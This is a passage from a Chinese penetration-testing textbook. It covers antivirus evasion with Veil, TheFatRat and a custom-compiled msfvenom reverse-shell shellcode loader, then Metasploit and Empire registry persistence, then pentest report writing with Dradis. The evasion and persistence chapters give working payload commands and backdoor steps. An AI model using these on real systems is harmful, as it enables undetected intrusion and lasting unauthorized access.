  2. 使用apt install -y veil命令。这将下载 Veil 工具套件,所有依赖项,并为安装做好准备。-y命令用于在询问是否要安装软件时简单地预定义yes参数。

  3. 一切都下载完成后,可以通过运行veil命令(参见以下屏幕截图)来开始安装。使用s选项进行静默安装。这仍会显示正在安装的组件,但您无需进行任何交互:

图 2:安装 Veil 组件

Veil 安装完成后,您可以在终端窗口中使用veil命令运行该工具。首次启动时,将显示主窗口(参见以下屏幕截图),其中将显示已加载的两个工具。使用特定工具使用use [number]命令;例如,要使用Evasion,您将使用use 1命令:

图 3:Veil 初始菜单

我们可以使用的工具是EvasionOrdnance。这两个工具执行不同的功能,如下所示:

  • Evasion:用于生成可用于绕过防病毒软件的有效载荷。

  • Ordnance:用于生成可与Evasion一起使用的 shellcode。Ordnance消除了使用 MSFvenom 生成 shellcode 的需要。原因是随着 MSFvenom 的更新,它会破坏Evasion创建的有效载荷。

让我们使用 Veil 创建一个恶意有效载荷:

  1. 使用veil命令启动Veil

  2. Veil 启动后,我们将使用Evasion工具。输入use 1

图 4:选择 Evasion 工具

  1. 要查看有效载荷的完整列表,请输入list payloads命令。在撰写本文时,Veil Evasion 中有 41 个有效载荷可用。我们将使用python/shellcode_inject/aes_encrypt.py创建有效载荷。要选择此有效载荷,我们将使用与之关联的数字。

  2. 要使用有效载荷,我们将发出use 29命令:

图 5:选择有效载荷

  1. 在有效载荷中,我们有许多可以配置的选项。如果要配置这些选项,可以使用set [option name] [value]命令。例如,要配置CLICKTRACK选项,将使用set CLICKTRACK 1命令。我们现在不会配置任何选项,因此我们将输入generate以进行下一步。

  2. 现在我们有与 shellcode 相关的选项(参见以下屏幕截图)。在这里,您将注意到我们可以利用MSFVenomOrdnanceCustom shellcode strings等。我们将使用Ordnance来创建 shellcode。输入选项号1

图 6:shellcode 选择

  1. 当您输入选项1时,将进入Veil-Ordnance菜单(参见以下屏幕截图)。在这里,您有一些选项,如查看payloadsencoders。要查看有效载荷,输入list payloads命令:

图 7:Ordnance 有效载荷

  1. 我们将使用rev_https有效载荷,使用use 3命令选择它。现在我们将为有效载荷选择选项。

  2. 我们需要在这里定义一些选项。定义LHOSTLPORT变量。记住这是目标机器将连接回来的 IP 地址和端口。我还定义了使用内置xor命令的Encoder。您可以使用set命令定义这些设置。您的输出应该与以下类似,除了LHOST IP 地址:

图 8:定义有效载荷选项

  1. 输入generate来生成 shellcode。现在您将看到 shellcode 的输出,并且 Veil 会要求您输入一个文件名(见下图).给它一个名字并按Enter

图 9:生成的 shellcode

  1. 提供了输出文件的基本名称后,您可以选择一个选项来创建有效负载可执行文件。在这个演示中,我们将使用默认的PyInstaller

  2. 一旦过程完成,您将看到恶意可执行文件和源代码的位置显示:

图 10:创建的恶意可执行文件

通过在目标机器上运行这个可执行文件,它将创建一个反向 shell 到您作为攻击者使用的机器。当然,我们仍然需要确定这个可执行文件是否会被任何防病毒软件检测到。我们将在本章的测试规避技术部分进行测试。

TheFatRat

TheFatRat 是另一个可以用来生成不可检测有效负载的工具。它支持 Windows、Android 和 macOS 的有效负载。它有丰富的选项,比如以下:

  • 自动化 Metasploit 功能(创建后门、防病毒规避、启动 meterpreter 监听等)

  • 基于 Android APK 创建后门

  • 文件泵(用于增加文件大小)

  • 使用办公文件创建后门

TheFatRat 不是 Kali Linux 的默认组件。可以通过以下步骤安装:

  1. 在 Kali Linux 中打开一个终端窗口,并使用以下命令克隆TheFatRat的存储库:
git clone https://github.com/Screetsec/TheFatRat.git
  1. 克隆存储库后,使用以下命令导航到目录:
cd TheFatRat
  1. 更改文件权限并使用以下命令运行设置脚本:
chmod +x setup.sh && ./setup.sh.

在这个命令中,我们正在改变setup.sh文件的权限,以便我们可以运行它。

  1. 在安装过程中,将安装所有依赖项。

安装完成后,您可以使用fatrat命令运行 TheFatRat。

在启动过程中,TheFatRat 会提醒不要将生成的有效负载上传到 VirusTotal。我们将在本章的测试规避技术部分讨论这个问题。

让我们使用TheFatRat创建一个有效负载:

  1. 从终端窗口,使用fatrat命令启动TheFatRat

  2. 菜单加载后,您会注意到有一些可以使用的选项:

图 11:TheFatRat 主菜单

  1. 选择选项2以使用Fudwin创建Fud

FudFully Undetectable Payload的缩写。

  1. 一旦Fudwin模块加载,我们有两个选项。我们将选择选项2 - 慢但强大。这个工具编译了一个带有 meterpreter 反向 TCP 有效负载的 C 程序:

图 12:使用 Fudwin 模块进行工具选择

  1. 选择选项2后,您需要定义LHOSTLPORT选项。接下来,您需要选择目标操作系统的架构。可以是x86x64

  2. 一旦选项被定义,工具将处理剩下的事情。它将把恶意有效负载编译成一个可执行文件,并存储在TheFatRat根文件夹中的output目录中。

一旦在远程系统上运行该文件,它将创建一个反向tcp后门到攻击机器。在测试规避技术部分,我们将比较这个有效负载的检测率和我们创建的其他有效负载。

自定义编译

自定义编译可以帮助大大减少检测能力。您可以利用互联网上可用的自定义 shellcode,并根据需要进行调整,以执行您想要的功能。

在本节中,我们将以基本水平介绍自定义 shellcode 的创建。Shellcode 的创建可能变得复杂,随着您在渗透测试职业中的进步,您将建立起编写复杂 shellcode 的技能。我们将使用 C 编程语言来介绍 shellcode 的创建。

诸如 Exploit-DB 之类的网站托管了社区发布的许多 shellcode。可以通过以下 URL 访问:www.exploit-db.com/shellcodes

让我们使用 C 创建一个自定义 shellcode。

首先,我们将使用 MSFvenom 创建一个 shellcode 文件。让我们使用之前创建的相同 shellcode,但是这次我们将其输出到一个.C文件中:

  1. 从终端窗口,使用mkdir msfv-shellcode命令创建一个新目录。

  2. 使用cd msfv-shellcode命令导航到目录。

  3. 现在,使用以下命令创建有效载荷:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.34.153 LPORT=8080 -f raw -e x86/shikata_ga_nai -i 15  | \
msfvenom -a x86 --platform windows -e x86/countdown -i 9  -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f c -o MSFV-shellcode.c

执行了上述命令后,MSFvenom 将创建 shellcode 文件。

现在,我们需要添加一些变量,以便使用 C 编程语言进行编译。使用文本编辑器或 nano 编辑刚刚创建的MSFV-shellcode.c文件。

添加以下行,用**标记:

#include<stdio.h>
#include<string.h>

unsigned char buf[] = 
"\xbd\xa1\xe2\xe6\x8b\xd9\xeb\xd9\x74\x24\xf4\x5f\x2b\xc9\x66"
"\xb9\x1b\x01\x83\xef\xfc\x31\x6f\x12\x03\x6f\x12\x43\x17\x5c"
"\x54\x5a\x66\x22\xb1\x95\x4e\x51\x62\xd1\x2e\xa9\xa3\x7f\x68"
"\xd9\x32\xfc\x65\x1e\x05\x55\x6b\xdc\x31\x97\xb0\xa9\x85\xdb"
--snip--

int main ()
{
 printf("Shellcode Length: %d\n", strlen(buf));
 int (*ret)() = (int(*)())buf;

 ret();
}

在上述代码中,我剪切了 shellcode,以便可见所需的代码行。在您的 shellcode 文件中,unsigned char buf [] =行下面将有更多字符。

在上述代码中,我们添加了以下组件:

#include<stdio.h> 在这里,我们调用一个库,该库涉及输入和输出函数。
#include<string.h> 在这里,我们调用一个库来操作字符串,因为我们使用strlen函数来获取字符串长度。
int main 此字符串用于声明一个函数。在 C 编程语言中,main下的函数是程序加载时运行的函数。
printf("Shellcode Length: %d\n 此行用于发送打印输出并掩盖 shellcode 长度。

| int (*ret)() = (int(*)())buf;

ret () | int (*ret)()用于声明一个指针,而=(int(*)())buf;是将要使用的指针。ret()调用该指针,然后指向运行的 shellcode。 |

添加了额外的代码后,我们现在可以将其编译为可执行文件(请参见以下屏幕截图)。这是使用mingw32编译器完成的,该编译器在安装 Veil Framework 时已安装。如果未安装,可以使用以下命令进行安装:

apt install mingw-w64

要将 shellcode 编译为可执行文件,请使用以下命令:

x86_64-w64-mingw32-gcc MSFV-shellcode.c -o MSFV-shellcode.exe 

我们得到以下输出:

图 13:将 shellcode 编译为可执行文件

现在,您有一个可执行文件,可以创建反向 shell。通过自定义编译过程,可以大大降低防病毒软件的检测率。通过添加额外的随机字符,可以进一步模糊检测率。

测试逃避技术

测试您的有效载荷有两种方法。一种方法是在实验室环境中使用目标系统的副本进行测试;然而,这并不总是可能的,因为您的客户使用的防病毒程序可能有许可要求。

您的另一个选择是将有效载荷的样本提交到 VirusTotal 等在线服务。

VirusTotal

VirusTotal 被许多安全行业人员用来提交文件或 URL 进行恶意软件分析。VirusTotal 通过与 70 多个防病毒供应商交叉检查提交的文件来工作。VirusTotal 有一个限制,就是提交将与防病毒供应商共享,以帮助提高其检测能力。

当您构建自己的载荷时,您不希望与防病毒软件制造商共享。如果共享了,您的载荷的工作机会将大大减少,因为一旦防病毒软件制造商使用提交信号更新其检测能力,检测率将会增加。

VirusTotal 可以通过以下 URL 访问:www.virustotal.com/

让我们看看我们在上一节中创建的载荷,以及它们的检测率。

MSFvenom的检测率为 71 中的 50,尽管我们使用了两个编码器和多次迭代:

图 14:MSFvenom 生成的 shellcode 检测率

测试使用相同 MSFvenom 载荷创建的自定义 shellcode 产生了明显较低的检测率,为 70 中的 8:

图 15:自定义 shell 代码检测率。

Veil的检测率为 70 中的 35。这比使用 MSFvenom 生成的要低得多:

图 16:Veil 生成的 shell 代码检测率

TheFatRat 的检测率为 70 中的 6。这远低于 MSFvenom 和 Veil。请注意文件名为Powerfull-fud.exe;TheFatRat 可能已生成一个普通的Powerfull.exe文件,也可以使用。那个的检测率为 70 中的 8:

图 17:TheFatRat 生成的 shellcode 检测率

我们可以看到不同的技术产生不同的结果。随着防病毒软件的发展,制作一个完全不可检测的载荷变得更加困难。然而,知道如何使用现有的工具将帮助您构建一个适合您的目标并且无法被其防病毒软件检测到的载荷。

总结

在本章中,您已经了解了防病毒软件的发展,以及它们如何开始利用机器学习和人工智能。您已经了解了可以用于规避防病毒软件的各种技术,以及可以用于创建不可检测载荷的不同工具。我们已经使用 shellcode 创建了一些载荷,并查看了它们在 VirusTotal 等在线服务中的检测率。

在下一章(第十二章,在环境中保持控制)中,我们将讨论持久性以及如何在受损网络中保持访问。

问题

  1. 防病毒软件是如何发展的?

  2. 列举两种防病毒软件规避技术。

  3. 可以利用哪些工具来构建不可检测的载荷?

  4. 使用自定义编译的 shellcode 有什么好处?

  5. 一旦构建了您的载荷,您绝对不应该做什么?

第十二章:在环境中保持控制

一旦你进入了目标环境,你需要考虑如何维持访问,以便能够返回。在现实世界的攻击中,攻击者会创建多个后门或命令和控制C2)通道,以便轻松地重新进入受损环境。在渗透测试中,你也会这样做。

在本章中,你将了解到维持访问是保持对目标系统控制的重要步骤,因为你可能使用的利用可能会被修补,最终移除你的临时远程访问。你将学习可以使用的各种技术和工具,并能够熟练地使用本章描述的工具来创建对目标系统的持久访问。

随着你在本章的学习过程中,你将了解以下主题:

  • 维持访问的重要性

  • 用于维持访问的技术

  • 使用持久性工具

技术要求

本章需要以下技术要求:

  • Kali Linux 2019.1

  • Metasploitable 3

维持访问的重要性

在第十章中,横向移动和提升特权,我们进行了后期利用,并获得了对受损主机的访问权限,最终拥有了该域。如果我们利用的漏洞被修补,或者 IT 人员发现已经受到了侵害并采取了措施来弥补漏洞,最终移除了我们的访问权限,会发生什么?我们需要一种方法重新进入目标网络或系统。当然,我们可以尝试其他利用或甚至从社会工程攻击开始,但这需要时间,让我们退了好几步。这就是维持访问的重要性所在。一旦你侵入了初始系统,维持访问应该是首要任务。目标是在目标内获得持久存在,以实现深度访问的目标。

在现实世界中,有一个术语用来定义攻击者通常在被发现之前在系统中停留数月的情况。他们被称为高级持续威胁APT)。APT 可以是攻击活动、一组入侵者,甚至是国家行为者,他们的目标是窃取数据、侵犯敏感数据或破坏关键基础设施。

国家行为者是为政府或国家工作的黑客,旨在破坏或侵犯其他政府或大型组织。他们的目标是获取高价值的数据和情报。朝鲜的"千里马"就是一个国家行为者的例子。

在渗透测试中,你不会专注于高级持续威胁的非道德目标;相反,你会专注于获得这些复杂攻击能够实现的持久性水平。

用于维持访问的技术

当你最初侵入目标系统时,你拥有临时访问权限。一旦系统重新启动,该访问权限就会终止。有许多技术可以用来维持访问。这些技术涵盖了从工具和恶意软件到使用内置系统工具。让我们考虑一些可以利用的各种技术。

后门

后门可以轻松地重新进入受损系统。特洛伊木马可以用于建立后门。特洛伊木马是一种伪装成合法软件的恶意软件,其目标是释放恶意载荷,以实现对系统的远程访问。特洛伊木马能够使用特权访问安装自己作为服务,例如本地系统。特洛伊木马也可以用于数据外泄。

使用特洛伊木马的问题在于它可能会被杀毒技术检测到。正如我们在第十一章中所强调的,杀毒软件规避,杀毒软件已经发展并具有复杂的检测能力。

C2

C2 服务器用于与受损主机保持通信。这种通信可以从简单的心跳到完全成熟的使用目标系统作为机器人的命令传播。由于这种通信是从受损主机向 C2 服务器发起的,如果您使用已知开放的端口,如 HTTP/HTTPS,检测风险较小。

Linux cron 作业

在 Linux 系统上,您可以自动启动任务。Cron是调度程序,可用于在特定时间运行特定命令。这些定期任务称为cron 作业。在操作系统中,这些 cron 作业通常用于执行诸如备份、删除日志文件和监视等任务。

您可以利用 cron 作业来运行您可能使用诸如 Metasploit 之类的工具生成的有效负载。一个更简单的任务可以是使用 cron 作业创建一个 netcat 会话,该会话将连接回您。

利用现有资源生存

利用现有操作系统工具执行任务是“利用现有资源生存”。例如,您可以使用 PowerShell 执行多项任务,从侦察到维护后门。注册表是建立持久性访问的好方法。利用注册表可以执行批处理文件和可执行文件,甚至使用 DLL 中的函数。

专注于注册表,了解HKEY_LOCAL_MACHINEHKLM)和HKEY_CURRENT_USERHKCU)之间的区别很重要。在HKLM中定义的键在系统启动时运行,而HKCU在用户登录后运行。在这里定义的键是最常见的,并用于注入后门:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

请注意,我们有定义为RunRunOnce的注册表键。RunOnce键在启动或登录时运行一次,然后被删除,而Run键保持不变。

使用持久化工具

现在我们已经介绍了一些用于保持访问的技术,让我们专注于一些可用的工具。我们将首先看一下 Metasploit 框架。我们将介绍的第二个工具是 Empire。

Metasploit 框架

我们在本书中广泛涵盖了 Metasploit,也就是说,在渗透测试的许多阶段中使用了它。在持久性方面,Metasploit 也有模块。

我的目标系统是 Metasploitable 3 虚拟机。我使用了exploit/windows/smb/ms17_010_eternalblue来利用它。

创建了 meterpreter 会话后,您可以使用run persistence命令利用内置的持久性脚本。我们可以在以下截图中看到可用的选项:

图 1:Meterpreter 持久性脚本选项

有一个警告通知我们 Meterpreter 脚本已被弃用,我们应该使用/post/windows/manage/persistence_exe。现在,让我们坚持使用弃用的脚本。

要获得持久性 shell,我们可以使用run persistence -U -i [seconds] -p [port] -r [host]命令。

这个命令让代理在用户登录时启动(-U)。我们以秒为单位定义间隔(-i);我们定义远程端口(-p),然后是要连接回的主机(-r)。一旦脚本运行,我们将看到已设置一个注册表键,并且已使用.vbs文件设置了持久性:

图 2:使用 Meterpreter 脚本设置持久性

安装了持久性脚本后,shell 将在用户每次登录时重新建立。但是,我们还需要做一件事,那就是创建一个处理程序。这个处理程序将监听连接并创建远程会话。

可以使用以下命令设置一个简单的处理程序:

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [IP]
set LPORT [PORT]
exploit

请记住,LHOST是持久性脚本中使用的相同 IP 地址,LPORT也是在该脚本中定义的相同端口。一旦执行了这些命令,反向处理程序就会启动:

图 3:在 Metasploit 中创建处理程序

现在,你已经为远程 shell 连接做好了一切准备,即使目标系统已经重启。你可以通过重新启动 Metasploitable 3 虚拟机来测试这一点。一旦机器启动并有用户登录,meterpreter 会话将建立连接。

让我们看一下 meterpreter 之前提到的推荐的后置模块。为了使用/post/windows/manage/persistence_exe,你需要创建一个有效载荷。我使用 MSFvenom 创建了一个简单的有效载荷。

在上面的屏幕截图中,用于创建在之前屏幕截图中看到的payload.exe文件的命令是msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=1338 -f exe -o /root/Desktop/payload.exe。请注意端口号——它与我们之前使用的不同。

一旦生成了有效载荷,你可以在 Meterpreter 会话中使用以下命令:

run post/windows/manage/persistence_exe REXEPATH=/root/Desktop/payload.exe

REXEPATH用于定义你在 Kali 环境中创建的有效载荷的位置。STARTUP用于定义启动类型(UserSystemService);这将决定使用哪个注册表键。一旦输入了上述命令,Metasploit 将执行持久性攻击,并在注册表中创建一个自动运行,如下面的屏幕截图所示:

图 4:使用恶意有效载荷的持久性

一旦完成这些操作并退出 Meterpreter 会话,创建一个新的处理程序。记得定义一个不同的端口号。

在以下的屏幕截图中,请注意我建立的两个会话:

图 5:使用 Meterpreter 建立会话

通过在目标机器上使用regedit,我们可以验证注册表键是否存在:

图 6:Metasploit 中持久性模块创建的注册表键

Metasploit 框架中的持久性模块非常强大。在真实的渗透测试中,如果你使用 Metasploit 来保持访问,你将利用一个不可检测的有效载荷,因为杀毒软件可能会删除被释放到目标系统磁盘上的有效载荷。

Empire

让我们专注于 Empire 提供的持久性模块。这些模块分为五类:

  • PowerBreach:这些专注于内存驻留后门。它们在重启后不会存在。

  • Userland:这些在重启后仍然存在,但只有在特定用户登录时才有效。这不是一个管理员持久性模块。

  • 提升权限:这些允许在管理员上下文中使用持久性。它们在重启后仍然存在。

  • Debugger:这些使用各种工具在 RDP 登录之前实现持久性。例如,你可以利用一个作为SYSTEM运行的命令提示符 shell,而无需登录到目标机器。

  • Misc:这些是持久性的其他方法,例如,利用 Mimikatz 工具获取机器账户密码。

在下面的屏幕截图中,我有一个针对 Metasploitable 3 虚拟机的活动代理:

图 7:Empire 中的活动代理

使用persistence/userland/registry模块,我们将利用HKCU注册表来在用户上下文中植入一个持久性模块。这个脚本只会在用户登录时运行:

图 8:在用户上下文中使用持久性模块

一旦命令执行,我们将收到一些输出,其中定义了修改的注册表键,并可以将其添加到脚本中。在用户空间模块的情况下,它设置在HKCU:Software\Microsoft\Windows\CurrentVersion\Debug中。

现在,让我们尝试一个提升的持久性模块。我们将使用persistence/elevated/registry模块。这使用HKLM注册表来植入一个脚本,该脚本将在目标系统启动时运行。我们将进一步修改此模块以定义我们自己的注册表位置(使用set RegPath HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run命令)和键(使用set KeyName命令和一些随机字符):

图 9:在提升的系统上下文中使用持久性模块

一旦命令执行,注册表键将被设置,我们将对远程系统有持久的连接。

在目标机器上使用regedit,我们可以验证注册表键是否存在:

图 10:Empire 设置的注册表键

Empire 拥有丰富的持久性模块可供使用。这些模块涵盖了注册表、计划任务等等。在实验室中尝试它们将帮助您充分了解每个模块的工作原理。

摘要

保持访问是渗透测试的重要部分。这可以避免您不得不重新利用目标系统。请记住,您最初可能使用的漏洞可能自您上次使用以来已经修补。因此,您需要另一种访问目标系统的方式,以免找到新的漏洞并浪费时间。

在本章中,您了解了可以用于在目标环境中保持访问的各种技术。您学会了识别 Windows 注册表的特定键以及它们如何用于持久性。最后,您学会了如何使用各种工具来保持对目标系统的访问。

在第十三章中,报告和处理您的发现,我们将讨论如何撰写渗透测试报告以及如何根据这些发现确定和推荐补救措施。

问题

  1. 为什么需要保持访问?

  2. 什么是 APT?

  3. 列举两种可以用于保持访问的技术。

  4. “living off the land”是什么意思?

  5. HKCU 和 HKLM 之间有什么区别?

第四部分:将所有内容整合起来

在本节中,我们将讨论如何结束渗透测试,并进一步提高您在渗透测试领域的技能。您将了解如何创建渗透测试报告以及应该推荐哪些安全概念,以帮助客户根据渗透测试的结果减少安全风险。您将学习如何通过相关资源获取技能和认证,继续发展您的渗透测试职业。您将了解可以用来进一步提高您技能的易受攻击资源。

本节将涵盖以下章节:

  • 第十三章,报告并采取行动

  • 第十四章,我接下来该怎么做?

第十三章:报告和对发现的行动

渗透测试报告非常重要,因为它为客户提供了测试的详细结果。在本章中,你将能够了解渗透测试报告的具体内容。你将能够确定报告的受众及其对报告的看法有何不同。你将学会如何使用 Dradis,它可以帮助你跟踪发现、问题和证据,这些都可以用在你的报告中。你将学会推荐什么样的补救工作来帮助客户保护他们的环境。

随着你在本章的学习过程中,你将了解以下主题:

  • 渗透测试报告的重要性

  • 渗透测试报告的内容是什么?

  • 报告撰写工具

  • 推荐补救选项

技术要求

本章需要以下技术要求:

  • Kali Linux 2019.1

渗透测试报告的重要性

不要低估报告的重要性。渗透测试报告是你讲述在目标组织中导航和发现漏洞的故事的一种方式。它允许你向利益相关者传达重要信息,如高管和 IT 管理团队。这将帮助他们推动补救工作,并为可能需要制定或更新的政策提供高管支持,以解决发现的风险。请记住,在信息安全领域,如果没有高管利益相关者的支持,政策注定会失败。

对于技术团队,报告提供了他们环境有多脆弱的清晰图景。它将为他们提供有关哪些方面容易受攻击、为什么容易受攻击、会影响谁以及漏洞如何被利用的全部技术细节。拥有这些信息将帮助技术团队准备补救工作的路线图,并计划首先解决哪些问题。

不要陷入没有足够时间撰写体面报告的困境——确保你在计划中考虑了报告撰写。

在撰写报告时,不要假设阅读报告的人具有与你相同的技术水平。他们在 IT 领域工作,但他们的兴趣可能与你的迥然不同。学会如何在报告中解释你的发现是一门艺术;随着你在这个领域的成长和经验的积累,你将掌握这门艺术。最终,你希望你的报告能够帮助建立与客户的关系,然后他们会一次又一次地使用你的服务。

渗透测试报告的内容是什么?

一些客户可能会告诉你他们想在报告中看到什么,而有些客户则不会。无论如何,你都应该有一个报告遵循的基本结构。这里将讨论的结构绝不是一个模板;它只是帮助你了解报告中会有什么。如果你在一个联系其他组织进行渗透测试的组织工作,他们可能有自己的模板。如果你作为个人进行渗透测试,你将建立自己的模板。

让我们看看报告可能包含的一些部分。

封面

封面应包含渗透测试公司的名称和标志。客户的名称应显示,以及为渗透测试指定的任何标题。这将在为同一客户执行多次测试时提供清晰的区分。日期应出现在此页面上,以及文档的分类。报告中包含的细节是敏感的,不应该供所有人查看;因此,应使用机密高度机密等分类。

执行摘要

执行摘要将以高层次传达渗透测试的具体目标和发现。这一部分的受众将是负责战略愿景、安全计划和组织监督的人员。这一部分通常包含我们将在下面描述的子部分。

背景

在这一部分,您需要定义测试的目的。确保您连接了预参与阶段讨论的细节,以便读者能够将风险、对抗措施或测试目标与测试的目标和结果联系起来。

您还可以在这一部分列出在参与过程中可能发生变化的任何目标。

整体态度

在这里,您将说明渗透测试的整体态度。您将说明渗透测试的有效性以及测试期间实现了哪些目标。在这一部分中,您可以说明它对组织的潜在影响。

风险排名

这一部分将定义组织的整体风险排名。您将使用在预参与阶段达成一致的评分机制。

一个例子是损害潜力可重现性可利用性受影响用户可发现性模型(DREAD)。每个方面可以定义如下:

  • 损害潜力:资产受到多大影响?

  • 可重现性:攻击有多容易重现?

  • 可利用性:资产有多容易被利用?

  • 受影响用户:有多少用户受到影响?

  • 可发现性:漏洞有多容易被发现?

通过回答这些问题,您将为每个发现的项目分配一个风险评级值。这可以是。风险评级值可以是一些简单的数字表示,例如,低=1,中=2,高=3。

将所有值相加将确定风险评级:

风险评级 结果
12-15
中等 8-11
5-7

使用 DREAD 模型对发现进行评估的一个例子如下:

发现的漏洞:缺乏输入过滤使得可以利用 SQL 注入攻击从 SQL 数据库中提取用户详细信息。

分析 DREAD 模型中项目的评级将确定风险评级:

项目 评级
损害潜力 3
可重现性 2
可利用性 3
受影响用户 3
可发现性 1

一旦将所有值相加,总和为 12,这意味着风险评级很高。

一般发现

在这一部分,您将得到对发现的整体视图。这不会是具体的详细发现,而是发现的统计表现。您可以使用图表或图形来表示已经测试的目标、结果、攻击场景和预参与阶段定义的其他指标。您可以查看使用图表来表示问题的原因,例如,操作系统未加固=35%,等等。

对抗措施的有效性也可以在这里列出。例如,当测试一个已经部署了 Web 应用程序防火墙的 Web 应用程序时,您可以说明五次攻击中有两次被防火墙阻止。

战略路线图

路线图提供了一个优先级排列的补救计划。这些必须与业务目标和影响程度相权衡。理想情况下,这一部分应该与组织定义的目标相匹配。

路线图可以分为短期、中期和长期活动。短期将定义组织在 1-3 个月内可以解决已发现问题的活动。中期可能是 3-6 个月,而长期可能是 6-12 个月。

技术报告

技术报告是您将传达您发现的所有技术细节的地方。这份文件的这一部分将详细描述参与范围。这一部分的受众将是具有深厚技术技能的人员,可能是解决发现问题的人员。

技术报告的第一部分将是介绍部分。这一部分将包括谁参与了渗透测试、联系信息、目标系统或应用程序、目标和范围等主题。

让我们专注于可能包括在技术报告中的主要主题。

使用的工具

在某些情况下,您的客户可能希望重现您进行的测试。为了让他们获得相同的结果,披露您使用的工具以及它们的版本将是有益的。

一个例子如下:

  • 测试平台:Kali Linux 2019.1

  • Metasploit Framework v5:渗透测试框架

  • Burp Suite 专业版 v1.7.34:Web 应用测试框架

  • Nmap v7.70:端口扫描和枚举工具

您将继续列出在渗透测试期间使用的所有工具。

信息收集

在这一部分,您将写关于客户可获取多少信息。一定要突出公共和私人信息的范围。如果需要,您可以将这一部分分为两个类别:

  • 被动信息收集:这一部分是您将展示在不向目标发送任何数据的情况下收集到的信息量。例如,您可以突出从精心设计的 Google dork、DNS 或公开可访问的文档中获取的任何信息。

  • 主动信息收集:在这一部分,您将展示使用端口扫描和其他足迹活动等技术获取了多少信息。这一部分披露了通过直接向资产发送数据获取的数据。

公开可访问的信息对于任何组织来说都应该是一个巨大的关注点,特别是如果在公开可访问的文档中存在可能泄露组织用户名结构的元数据。

漏洞评估和利用

在这一部分,您将定义用于识别漏洞以及漏洞如何被利用的方法。您将包括漏洞的分类、证据以及 CVE 细节等内容。

在披露漏洞时,一定要将它们分为技术漏洞和逻辑漏洞。

技术漏洞是可以通过缺失的补丁、编码错误或注入恶意代码来利用的漏洞,例如,SQL 注入攻击。

逻辑漏洞是通过发现应用程序工作方式的缺陷来利用的,例如,一个未能执行权限检查的 Web 应用程序。

以下是您报告漏洞的一个例子:

  • 发现:在这里,您将详细讨论发现。例如:我们发现 Server01(192.168.10.15)缺少 MS17-010 微软 Windows 补丁,并且该服务器已被手动利用 DoublePulsar。DoublePulsar 为系统创建了一个后门,可以被任何人使用。它为勒索软件(如 WannaCry 和 NotPetya)打开了一扇门,特别是在没有 MS17-010 补丁的系统上。我们能够利用这个缺失的补丁获得对具有完全管理权限的服务器的访问。由于我们可以访问服务器,我们能够使用 Metasploit 的 hashdump 提取本地管理员账户(localadmin)及其密码哈希。

  • 受影响的主机:这里是您定义主机或应用程序的全名,例如,CLIENT\Server01(主机名)。

  • 使用的工具:在这里,您将解释您使用的工具,例如,Metasploit Framework v5。

  • 证据:这是您提供利用证据的地方。可以是截图或屏幕文本捕获的形式。

  • 业务影响:在本节中,您定义了发现的风险是什么。例如,当系统未能及时打补丁时,它们可能会引入风险,这可能会被恶意软件、勒索软件和恶意用户滥用,以获取对敏感信息的访问权限。

  • 根本原因:这定义了漏洞的根本原因。这可能是技术性的,比如缺少安全补丁,也可能是与流程相关的。例如,根本原因是与流程相关的,因为存在补丁管理系统。服务器未能及时打补丁。

  • 建议:在这里,您将定义应采取的建议行动方案,以纠正这一发现。确保提供尽可能多的细节。例如,短期行动将是更新服务器,以确保其与所有 Microsoft 补丁保持最新。长期行动将是确保每月对整个网络进行漏洞评估,并确保服务器和工作站完全打补丁。管理层还应扫描网络,查找所有手动利用 DoublePulsar 的系统,并将其从网络中移除,因为它们为任何人创建了系统的后门。

在报告中获得正确的细节水平可能有些棘手。如果报告过于详细,一些客户可能会觉得不知所措,而有些客户可能会觉得缺乏细节。确定报告中应包含的正确细节量的最佳方法是花时间与客户一起,了解他们的期望和他们希望从报告中得到什么。

渗透后

一旦讨论了漏洞及其利用,您需要强调对客户的实际影响。请记住,这种影响将是客户在真实世界攻击中所经历的。

在本节中,您可以利用截图详细说明影响的程度。您可以在本节中讨论以下主题:

  • 特权升级路径和使用的技术,例如哈希传递攻击,最终伪造黄金票证

  • 使用持久性维持访问的能力

  • 数据外泄的能力

  • 可能使用枢纽点访问的其他系统

本节可以讨论反制措施的有效性,包括积极和消极的反制措施。检测能力也属于本节;例如,杀毒软件能否检测到您的有效载荷?

如果在渗透测试期间触发了任何事件响应活动,这些应该列在本节中。

结论

结论将对渗透测试进行最终概述。在本节中,您可以重申测试的部分内容以及客户如何提升其安全姿态。无论结果有多糟糕,都要以积极的态度结束。这将使您的客户对未来的测试活动有信心。

报告撰写工具

在撰写渗透测试报告时,您可能会想知道如何跟踪发现。也许您更喜欢使用文字处理器的手动方法,或者您可能希望使用更直观的工具。

Kali Linux 包含一个名为 Dradis 的工具,这是一个开源框架,安全专业人员用于有效信息共享。Dradis 有社区版和专业版。Kali Linux 包含社区版。专业版包含一些有趣的功能,如自定义品牌、双因素认证、一键报告以及导出到多种文件类型的能力。然而,社区版包含专业版本具有的核心功能,并允许您以 HTML 或 CSV 格式导出结果。

Dradis 可从应用程序 | 报告工具中访问:

图 1:访问 Dradis

当您第一次运行 Dradis 时,您将被提示创建共享服务器密码和一个新用户帐户。完成后,您将登录到 Dradis 的主要登录页面。

方法论

在 Dradis 中,有一个名为方法论的部分。这是您想要为给定项目执行的任务列表。您可以创建自己的方法论或导入现有的方法论:

图 2:Dradis 的方法论组件

